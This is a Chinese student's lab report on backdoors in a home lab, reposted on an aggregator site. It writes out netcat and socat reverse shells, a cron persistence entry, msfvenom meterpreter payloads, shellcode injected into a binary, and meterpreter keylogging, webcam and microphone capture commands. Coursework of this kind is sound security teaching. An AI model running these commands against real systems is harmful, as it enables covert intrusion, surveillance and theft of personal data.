20232325 2025-2026-1《网络与系统攻防技术》实验二实验报告

news/2025/10/22 22:48:10/文章来源:https://www.cnblogs.com/DDD643/p/19159189

后门原理与实践

1. 实验内容

  • 学习netcat、socat工具的使用
  • 学习使用MSF meterpreter生成后门文件,并通过netcat或者socat将后门文件远程传输至目标主机
  • 学习如何利用MSF meterpreter生成的后门文件窃取目标主机摄像头内容、输入记录等数据
  • 学习如何使用MSF生成shellcode并注入到正常文件中

2. 实验环境

安装Kali系统的虚拟机,Win10笔记本
image

3. 实验过程

前置准备:由于目前制作的各种文件以及ncat都过于简陋,一出现就会被各种杀毒软件直接删掉,因此为了顺利实验,首先需要关闭杀毒软件与Win10自带的杀毒功能,以保证后门文件与netcat、socat能正常运行
image

同时因为需要使用netcat远程传输后门软件,也需要使用netcat远程控制,所以需要关闭windows的防火墙
image

3.1 使用netcat获取主机操作Shell,cron启动某项任务

3.1.2 监听获得虚拟机的shell

  1. 在Windows主机上进入PowerShell,输入ipconfig,查询到主机IP为192.168.3.12
    image

  2. 进入Windows主机中netcat所在目录,右键空白处选择在此处打开终端,输入指令./nc64.exe -l -p 2325,让nc64程序监听2325端口
    image

  3. 验证监听状态:新建PowerShell窗口,输入命令:

    netstat -an | findstr "2325"
    

    查看监听是否成功, 图中已经显示“LISTENING”说明已经成功,正在监听。
    image

  4. Kali主动连接并让渡Shell:启动Kali虚拟机,打开管理员终端,输入命令:

    nc 192.168.3.12 2325 -e /bin/sh
    

    让kali连接到windows主机的2325端口,并让windows主机可以对kali的shell进行远程输入。
    image

  5. 验证Shell控制权:连接成功后,主机就获得了虚拟机的Shell,尝试输入ls命令进行验证,验证成功,输出结果如图
    image

3.1.3 启动定时任务

  1. 编辑crontab文件:在kali中修改cron表,输入crontab -e编辑crontab文件,选择选择/usr/bin/vim.basic编辑 crontab
    image

  2. 添加定时任务:在cron表的末尾添加命令

    25 * * * * /bin/netcat 192.168.3.12 2325 -e /bin/sh
    

    保存退出。它创建一个后门,让系统当时间到达xx:25时都尝试将本机的Shell连接到windows上。
    image

  3. 验证crontab配置:通过输入命令crontab -l,查看时程表的情况,已经修改成功
    image

  4. 查看cron任务文件: 在kali中通过路径/var/spool/cron/crontabs,找到crontabs文件夹,用root身份打开,发现一个root文件,这就是刚才创建的后门文件
    image

3.1.4 修改定时任务

  1. 重新获取Kali Shell:现在通过Windows主机对于虚拟机的远程操控来修改定时任务。重复先前的步骤,获得Windows主机对虚拟机的Shell

  2. 修改cron任务文件:在Windows的Shell终端中输入命令:

    echo "20 * * * * echo '20232325' > /home/kali/tempfile/20232325.txt" > /var/spool/cron/crontabs/root
    

    它表示直接向root用户的定时任务文件中写入一条新任务。这个任务会让系统在每个小时的第20分钟,自动将字符串“20232325”写入到一个指定路径的文件中。

  3. 验证修改:通过命令crontab -l,查看时程表,发现修改成功。
    image

  4. 验证任务执行:等到这个小时二十分钟,发现虚拟机中对应文件中已经被写入了指定字符串,持久化定时任务命令修改成功
    image

3.2 使用socat获取主机操作Shell,任务计划启动

3.2.1 环境准备

  1. Windows启动socat监听:打开windows主机的PowerShell输入命令/socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr,在本机上监听8888端口,一旦有客户端连接上来,就立即为它启动一个交互式的cmd.exe命令行,并将所有输入输出都通过这个网络连接进行转发。

    ./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
    

    image

  2. Kali连接Windows并获取CMD:在kali上输入命令socat - tcp:192.168.3.12:8888,连接IP地址为192.168.3.12的windows主机的8888端口,然后将当前终端的所有输入发送过去,并把对方返回的所有数据显示在此终端上。

    socat - tcp:192.168.3.12:8888
    

    image

3.2.2 设置定时任务(Windows任务计划)

  1. 编写C语言程序:在Windows主机上编写C语言程序,在该程序的目录中,创建一个名为20232325.txt,并写入字符串“20232325”,编译为exe并且运行。
    image

  2. 创建Windows定时任务:在kali中,输入命令schtasks /create /sc minute /mo 1 /tn "20232325lyd" /tr "D:\20232325learningusing\exp2\exp222.exe"
    ,在Windows主机建立一个名为“20232425lyd”的定时任务,它会每分钟运行一次刚才写的的程序

    schtasks /create /sc minute /mo 1 /tn "20232325lyd" /tr "D:\20232325learningusing\exp2\exp222.exe"
    

    image

  3. 验证定时任务:在Windows主机中,打开计算机管理查看任务计划程序库,发现定时任务“20232325lyd”每分钟执行一次,此步骤顺利完成
    image

3.3 使用MSF meterpreter生成后门,利用ncat或socat传送到主机并运行获取主机Shell

3.3.1 后门生成

在kali中输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=8888 -f exe > backdoor20232325.exe
,生成backdoor20232325.exe。它是一个后门程序,会主动连接回IP地址192.168.57.133(kali虚拟机)的8888端口,从而提供远程控制功能。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=8888 -f exe > backdoor20232325.exe

image

3.3.2 文件传输

  1. Windows启动接收监听: 在Windows主机中打开powershell,输入命令 ./nc.exe -l -p 410 > “D:\backdoor20232325.exe”启动netcat监听器,监听410端口,并将所有客户端发送的数据,全部到指定路径的文件中

    ./nc.exe -l -p 410 > "D:\backdoor20232325.exe"
    

    image

  2. Kali发送后门文件:在kali中输入命令nc 192.168.43.197 410 < backdoor20232409.exe,将本地的backdoor20232325.exe文件的内容,通过网络发送到IP地址为192.168.3.12的机器的410端口上。

    nc 192.168.3.12 410 < backdoor20232325.exe
    

    image

3.3.3 配置MSF监听并获取Shell

  1. 启动MSF控制台:在Kali中输入msfconsole,进入Metasploit框架

  2. 配置监听模块:依次输入以下命令:

    use exploit/multi/handler  # 使用多平台监听模块
    set payload windows/meterpreter/reverse_tcp  # 匹配后门的Payload
    set LHOST 192.168.57.133  # 设置Kali IP(与后门一致)
    set LPORT 8888  # 设置监听端口(与后门一致)
    exploit  # 启动监听
    

    image

  3. 运行后门程序:在Windows主机上双击运行后门程序攻击成功后,虚拟机可连接上主机,输入命令dir后可获得windows当前目录下的文件与目录,攻击成功!
    image

3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

3.4.1 获取目标主机敏感数据

在Meterpreter会话中,输入以下命令获取数据:

  1. 录制音频record_mic
  2. 屏幕截图screenshot
  3. 摄像头拍照webcam_snap
  4. 键盘记录
    • 启动记录:keyscan_start
    • 停止记录:keyscan_stop
    • 导出记录:keyscan_dump
      image
      由下图内容可见成功读取到键盘输入内容与摄像头、音频内容
      image

image

3.4.2 尝试提权

  1. 查看当前用户:输入getuid,显示当前用户为DESKTOP-QD6LNTD\DELL
    image

  2. 执行提权命令:输入getsystem,但再次输入getuid,用户仍为DESKTOP-QD6LNTD\DELL,提权未成功。
    image

3.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  1. 生成注入shellcode的可执行文件,赋予可执行权限:在kali中输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=4444 -x pwn20232325 elf >pwndanger,成功创建后输入命令chmod +x ./pwndanger,使用超级管理员权限为该文件赋予可执行权限。

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=4444 -x pwn20232325 -f elf > pwndanger
    
    chmod +x ./pwndanger
    

    image

  2. 配置MSF监听

    • 新建Kali终端,输入msfconsole,依次执行:
      use exploit/multi/handler
      set payload linux/x86/meterpreter/reverse_tcp
      set LHOST 192.168.57.133
      set LPORT 4444
      exploit
      

    image

  3. 运行注入文件:在kali中双击打开pwndanger触发反弹连接。

  4. 验证反弹Shell:  再在新的shell中,输入shell,可以看到攻击已经成功,没有问题
    image

4. 回答问题

4.1 列举你能想到的一个后门进入到你系统中的可能方式

通过在其他资源中插入的方式进入,比如游戏的汉化补丁、mod,盗版软件的安装包

4.2 列举你知道的后门如何启动起来(windows及linux)的方式

  • 开机自启动与定时自动运行
  • 定时自启动中:Windows中是任务计划程序,Linux中是cron表

4.3 Meterpreter有哪些给你印象深刻的功能

可以控制目标主机的摄像头、音频,还可以知道目标主机的键盘录入,许多敏感信息直接泄露无余

4.4 如何发现自己的系统有没有被安装后门

  • 查看Windows中的任务计划程序、Linux中的cron表,确认是否存在特殊程序。
  • 查看主机是否存在不明远程连接。
  • 检查摄像头是否被异常唤醒。

5. 实验中的问题与解决

问题1:ncat.exe无法正常使用

解决方案:使用./ncat.exe

问题2:使用ncat传输后门软件时反复失败,没有看到想要的结果

解决方案:删除已安装nact,下载附件中的ncat后可以正常使用

问题3:后门程序运行时间很短,有时候会传输成比源文件大很多的文件,无法正常使用

解决方案:将后文程序直接复制到windows主机上几乎不会失误(但感觉是走捷径)

7. 心得体会

本次实验整体感受比上次实验难度高了很多,整整花费了我6个小时才顺利完成了这次实验。但通过这次实验,我对后门程序原理与应用的认知可以说是有了极大提高。

实验中的挫折是占据大部分时间的,有netcat、socat版本问题,windows主机疯狂的杀我的后门程序的问题,好不容易传出来的后门程序要么就莫名其妙的变大了,要么就活一会就死了。但好在我最终还是一一解决了这些问题,在解决的过程中,我和同学讨论,向AI提问,仔细翻看实验指导书,对实验内容有了更深刻的理解,对面对各种报错有了更多解决经验与方法。

总之,这是我的第二次网络攻防实验,挫折不少,但收获巨多,也让我对后门程序这个常见词语多了更多认识,我会带着这次实验成功的成就感面对接下来的挑战!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943811.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20232415 2025-2026-1 《网络与系统攻防技术》 实验二实验报告

一、实验目的 (1)使用netcat获取主机操作Shell,通过cron启动某项任务 (2)使用socat获取主机操作Shell, 通过任务计划启动 (3)使用MSF meterpreter生成后门程序,利用ncat或socat传送到主机并运行获取主机Shell (4)使用…

结对项目:四则运算生成器

双人合作项目 - 四则运算生成器 一、项目信息项目名称 双人合作项目-四则运算生成器课程所属班级 计科2班* 作业要求 作业要求链接作业目标 熟悉体会双人合作构建项目的流程,深入理解项目实现过程中的分工与交流的重要…

CSP-S2023

T4 CSP-S 2023 种树 显然答案有单调性,考虑二分答案 \(t\)。 二分有什么好处呢?就是可以知道每棵树最坏在哪天种才能达到 \(a_i\) 的高度。(不二分是做不到的,因为 \(x\) 是从 \(1\) 开始计数的。) 而这个部分显然…

Spring Boot 中全面解决跨域请求

什么是跨域请求(CORS) 跨域的概念 跨域是指浏览器出于安全考虑,限制了从不同源(协议,域名,端口任一不同)的服务器请求资源,这是浏览器的同源策略(Same-Origin Policy)所导致的。同源策略要求一下三个必须相同…

OpenTelemetry语义约定:规范可观测性数据,提升系统洞察力

在现代分布式系统中,可观测性(Observability)已成为保障系统健康和快速定位问题的关键。然而,随着微服务数量的增长和各种可观测性工具的涌现,如何统一和规范化指标(Metrics)、日志(Logs)和链路追踪(Traces)…

Serilog基于Seq开源框架实现日志分析

一、NuGet 包管理器中下载相关包SerilogSerilog.Sinks.Console(控制台输出)Serilog.Sinks.File(输出到文件)Serilog.Sinks.Seq(输出到Seq服务)二、搭建 Seq 日志服务 Docker命令行快速启动点击查看代码 // 启动项…

US$390 TabScan T6XENTRY C6 Diagnostic Tool Support DoIP J2534 PDU Passthru CANFD

**Revolutionizing Mercedes-Benz Diagnostics: The TabScan T6XENTRY C6 Diagnostic Tool** In the rapidly evolving world of automotive diagnostics, having the right tool can make the difference between a q…

10.20-10.26

10.20 gugugu 10.21 gugugu... 10.22 abc290f 发现实际可能对答案造成贡献的序列的和为\(2n-2\),于是我们通过插板法计算答案: \[\sum_{k=1}^n\dbinom{n}{k}\dbinom{n-3}{k-2}(n-k+1) \]然后化简,通过吸收恒等式和范…

20232421 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实践内容 1.1 实践目标使用netcat获取主机操作Shell,cron启动某项任务(任务自定) 使用socat获取主机操作Shell, 任务计划启动 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主…

两两交换链表中的节点-leetcode

题目描述 给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换)。 示例 1:输入:head = [1,2,3,4] 输出:[2,1,4,3]示例 2: 输入…

算法第二章实践作业

1.随机选择数组中的一个元素作为基准值,将数组划分为三部分:小于基准值的元素(左子数组)、等于基准值的元素(中间部分)、大于基准值的元素(右子数组)。若左子数组的长度 ≥ k,则第 k小的元素一定在左子数组中…

解决homebrew下载报错问题

报错: Error: mysql-client@8.4: Failed to download resource "openssl@3.rb"Download failed: https://raw.githubusercontent.com/Homebrew/homebrew-core/5780e7787be0ee2813710acd974cd41d6b260860/Fo…

软考中级学习总结(5)

连接: (1)Theata连接:R 连接 S theata表示任意不等符 (2)等值连接:R连接S,要求属性相同 (3)自然连接:R连接S,要求R与S有一个/多个同名的属性 计算出RXS,选出其中R.A=S.A 的行 外连接: 1.左外连接(保左)…

软考中级学习总结(4)

知识产权 专利地域性:只在申请国领域内受保护 计算机软件著作权的主体:人 依据:《中华人民共和国著作权法》,《计算机软件保护条例》 计算机软件著作权客体:计算机程序以及有关文档 程序设计说明书 流程图 用户手…

docker: Error response from daemon: failed to set up container networking 解决办法

问题描述 docker: Error response from daemon: failed to set up container networking: failed to create endpoint yesplaymusic on network bridge: Unable to enable DIRECT ACCESS FILTERING - DROP rule: (ipta…

“化零为整”的智慧:内存池如何绕过系统调用和GC,构建性能的护城河

“化零为整”的智慧:内存池如何绕过系统调用和GC,构建性能的护城河内存池:精打细算的内存管家 在高性能系统(如网络服务器)的极致优化中,当处理器和I/O的瓶颈被逐一攻克后,内存管理便成为决定系统延迟和吞吐量的…

CSP-S36

10.2110.21 t1code嘻嘻 #include <bits/stdc++.h> #define ldb long double using namespace std; int x, y;signed main() {freopen("island.in", "r", stdin);freopen("island.out&q…

新学期每日总结(第13天)

今日 相较昨日 学习了布置数据库

解决一台hp probook 430G3笔记本无法实现win10关机网络唤醒

解决一台hp probook 430G3笔记本无法实现win10关机网络唤醒一台hp probook 430G3笔记本,bios已经设置网络唤醒到硬盘,并且网卡的设置也没什么问题,但关机之后网卡的灯不亮,用网络唤醒也不开机。 在惠普社区找到一篇…